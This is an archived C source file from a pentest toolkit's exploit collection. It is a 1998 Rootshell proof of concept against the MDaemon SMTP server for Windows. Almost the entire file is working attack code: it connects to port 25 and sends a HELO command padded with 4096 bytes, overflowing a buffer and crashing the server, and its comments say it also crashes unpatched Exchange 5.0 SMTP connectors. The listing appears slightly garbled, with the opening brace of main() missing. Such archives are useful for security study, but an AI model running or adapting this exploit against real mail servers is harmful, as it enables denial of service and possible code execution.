home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mdaemon / heloexpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  69 lines

  1. /* 
  2.  * MDaemon SMTP server for Windows buffer overflow exploit 
  3.  * 
  4.  * http://www.mdaemon.com - if you dare... 
  5.  * 
  6.  * Tested on MDaemon 2.71 SP1 
  7.  * 
  8.  * http://www.rootshell.com/ 
  9.  * 
  10.  * Released 3/10/98 
  11.  * 
  12.  * (C) 1998 Rootshell All Rights Reserved 
  13.  * 
  14.  * For educational use only. Distribute freely. 
  15.  * 
  16.  * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
  17.  * connector if SP2 has NOT been installed. 
  18.  * 
  19.  * Danger! 
  20.  * 
  21.  * A malicous user could use this bug to execute arbitrary code on the 
  22.  * remote system. 
  23.  * 
  24.  */ 
  25.  
  26.  
  27. #include <stdio.h> 
  28. #include <sys/socket.h> 
  29. #include <netinet/in.h> 
  30. #include <netdb.h> 
  31. #include <string.h> 
  32. #include <stdlib.h> 
  33. #include <unistd.h> 
  34.  
  35.  
  36. void main(int argc, char *argv[]) 
  37.   struct sockaddr_in sin; 
  38.   struct hostent *hp; 
  39.   char *buffer; 
  40.   int sock, i; 
  41.  
  42.  
  43.   if (argc != 2) { 
  44.     printf("usage: %s <smtp server>\n", argv[0]); 
  45.     exit(1); 
  46.   } 
  47.   hp = gethostbyname(argv[1]); 
  48.   if (hp==NULL) { 
  49.     printf("Unknown host: %s\n",argv[1]); 
  50.     exit(1); 
  51.   } 
  52.   bzero((char*) &sin, sizeof(sin)); 
  53.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  54.   sin.sin_family = hp->h_addrtype; 
  55.   sin.sin_port = htons(25); 
  56.   sock = socket(AF_INET, SOCK_STREAM, 0); 
  57.   connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  58.   buffer = (char *)malloc(10000); 
  59.   sprintf(buffer, "HELO "); 
  60.   for (i = 0; i<4096; i++) 
  61.     strcat(buffer, "x"); 
  62.   strcat(buffer, "\r\n"); 
  63.   write(sock, &buffer[0], strlen(buffer)); 
  64.   close(sock); 
  65.   free(buffer); 
  66.  
  67.